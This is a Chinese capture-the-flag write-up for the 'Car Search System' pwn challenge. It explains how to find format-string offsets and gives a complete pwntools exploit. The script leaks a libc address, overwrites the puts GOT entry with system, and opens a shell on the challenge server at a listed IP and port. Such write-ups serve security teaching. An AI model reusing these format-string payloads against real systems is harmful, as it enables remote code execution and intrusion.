i春秋·网络内生安全训练场 pwn Car Search System
i春秋·网络内生安全训练场
pwn Car Search System
memcpy是memory copy的缩写,意为内存复制,在写C语言程序的时候,我们常常会用到它。它的函原型如下:
void *memcpy(void *dest, const void *src, size_t n);
它的功能是从src的开始位置拷贝n个字节的数据到dest。如果dest存在数据,将会被覆盖。memcpy函数的返回值是dest的指针。memcpy函数定义在string.h头文件里。
首先我们进行gdb调试
我们可以发现format的地址
那么,怎样发现呢,我们可以使用%{}$x 和栈上的进行比较,即可得到
之后我们发现libc_start_main_ 地址
该程序为32位程序
则偏移为:
0xffffceec-0xffffce00 = 236/4 = 59
那么偏移为59
之后就可以查找libc版本
貌似是第一个
fmtstr_payload(offset, {address: value})
对于上面那个方法
可以自动生成修改GOT表的payload
第一个参数 offset
用 autofmt.offset
算好的即可. 然后, 我们需要声明 {address: value}
来覆盖address的内容成对应的value. 我们还可以同时改写多个地址: {address1: value1, address2:value2,..., address: valueN}
.
注意:!!!!
关于找到offset
那个offset为我们字符串进入的那个栈的位置,那个栈的位置是在
format的高地址处,
1.我们可以通过调试来获取offset
我们输入AAAA%30$p
0x41414141转化为字符串为AAAA,那么我们就可以说从format偏移30哥后即为我们的字符串进入的地方
我们可以找到开头后,在栈中一个一个的找,去找offset。。。
或者输入AAAA%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
这种来一个一个找
2.方法二
pwntools提供了一个FmtStr
类,供我们获取offset
我们需要先构造一个可以接收我们输入并返回格式化字符串输出的函数. 接着,我们可以得到 autofmt
. 这个对象包含 offset
, 即算好的偏移量
def exec_fmt(payload):p =process(program)p.sendline(payload)return p.recvall()
autofmt =FmtStr(exec_fmt)
offset =autofmt.offset
这样就可以自动获取offset
最好用第一种方法
之后我们去修改v7的值,我们可以通过指向v7的指针v8来修改
我们可以使用%n
我们先找到v8的偏移,之后就可以使用%n来修改了
我们通过gdb查找栈来找指针的offset
第一个oxff
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-p49CHAl5-1575204731296)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\1575089957819.png)]
即为我们要找的指针变量V8
一般为这个为什么是我还得再进一步思索,,
附上我们的exp(膜拜pumkin9大佬)
#coding=utf-8
from pwn import *p = remote('120.55.43.255',11001)elf = ELF("./pwn")lib = ELF("./libc6-i386_2.23-0ubuntu10_amd64.so")p.recvuntil("Plz input the car ID your want to search:(or input 'exit' to leave\n")payload1 = '%59$p'p.sendline(payload1)lib_ret = p.recvline()offset___libc_start_main_ret = 0x18637offset_system = 0x0003ada0 #这里的偏移量pwntools查找的与libc-database中的不同offset_str_bin_sh = 0x15ba0blibc = int(lib_ret.strip("\n"),16) - offset___libc_start_main_retsystem = libc+lib.symbols['system']
#print(system)binsh = libc + offset_str_bin_sh
'''
p.recvuntil("leave\n")
def exec_fmt(payload):p =process("./pwn")p.sendline(payload)return p.recvall()
autofmt =FmtStr(exec_fmt)
offset =autofmt.offset
print(offset)
'''
p.recvuntil("leave\n")payload2 = fmtstr_payload(30,{elf.got["puts"]:system}) #计算出偏移,然后将puts的got表地址改为system地址p.sendline(payload2)p.recvuntil("leave\n") #修改v8这个指针,将这个指针所指的变量值修改payload3 = "%51$p"p.sendline(payload3)point = int(p.recvline().strip("\n"),16)p.recvuntil("leave\n")payload4 = p32(point) + "%98c%30$hhn"p.sendline(payload4)
'''
p.recvuntil("ar in 7 day")p.sendline("/bin/sh/")
'''
p.sendlineafter("ar in 7 day","/bin/sh\x00")p.interactive()
i春秋·网络内生安全训练场 pwn Car Search System相关推荐
- i春秋网络内生安全试验场CTF夺旗赛(第二季)部分Web题WriteUp
1.easyphp 地址:http://120.55.43.255:13005/ 打开后查看源码,发现show.php. 该地址后有一个base64字符串,解码后内容为:hint.jpg 将首页地址i ...
- i春秋“网络内生安全试验场”CTF答题夺旗赛(第四季)部分题目WP
1.nani 构造payload,拿到user.php源码:http://120.55.43.255:24719/?file=php://filter/read=convert.base64-enco ...
- 未来6G网络内生智能的探讨与分析
[摘 要]将机器学习技术应用到未来6G网络使其具备内生智能,是未来移动通信系统发展的重要趋势之一.对将机器学习技术引入到6G网络的必要性.可行性进行分析,并给出了一种网络内生智能的方式.同时对网络内 ...
- 网络七层协议OSI(Open System Interconnection)
一.初识互联网的本质 1.互联网的本质其实就是一系列的网络协议 2.什么是网络?什么是计算机网络? 3.网络分类(大体四种) 地理位置: 传输介质: 4.常用网络设备 5.IP地址分类 二.OSI七层 ...
- [BUGKU][CTF][PWN][2020] PWN writeup
准备UBUNTU pwndbg pwntools PWN1 关键字:nc 知识点:nc使用方法 https://www.cnblogs.com/nmap/p/6148306.html nc命令是一个功 ...
- 新的网络架构按下“快进键” 快步走入互联网下半场
"将来,有可能我们需要多大的带宽就有多大的带宽,需要多长的时延就有多长的时延,网络可以根据你的需要来服务,每个人都可以有自己的网络."6月15日,在网络通信与安全紫金山实验室(以下 ...
- 【算力网络】算力网络的技术创新——绿色与安全关键技术
本人就职于国际知名终端厂商,负责modem芯片研发. 在5G早期负责终端数据业务层.核心网相关的开发工作,目前牵头6G算力网络技术标准研究. 博客内容主要围绕: 5G协议讲解 ...
- 未来互联网技术发展编年史,从阿帕网到完全可编程网络
目录 文章目录 目录 编者按 从冷战背景说起 APRA 成立 ARPANET 项目启动 ARPANET 的诞生 TCP/IP 协议与 Internet 的诞生 HTTP 协议与 Web 世界的诞生 R ...
- 服务器虚拟化的应用场景,网络功能虚拟化及其应用场景分析
1 虚拟机技术 要讨论网络功能虚拟化(Network Function Virtualization,NFV),首先要讨论虚拟机(Virtual Machine,VM)技术,因为虚拟机技术是" ...
最新文章
- C语言---二分法搜索
- 小程序开发需要注意什么
- 程序员必备的20个软件
- 写Struts2、Spring、Hibernate的xml配置文件时无提示
- IT绩效管理消除IT与业务之间的隔阂
- XML--视频--人脸VOC
- CVE-2017-11882漏洞分析
- kex_exchange_identification: Connection closed by remote host Connection closed by 140.82.121.3 port
- python 哪些比赛项目_python能做什么项目
- linux系统下的打印机驱动下载,为 Linux 选择打印机 | Linux 中国
- Centos 8 安装向日葵(sunloginclient-10.0.0-1)
- 《计算机网络教程》(微课版 第五版)第七章 网络安全 课后习题及答案
- POJ 2248【加法链】
- 如何看待个人的信息价值
- android 开关机动画
- Git命令行操作详解
- mac电脑听歌下歌那个好?试试lx music desktop!
- 回忆2018年AI入门学习路线
- ECharts周围空白的地方太多了,如何解决
- 没有光驱,你能装系统吗?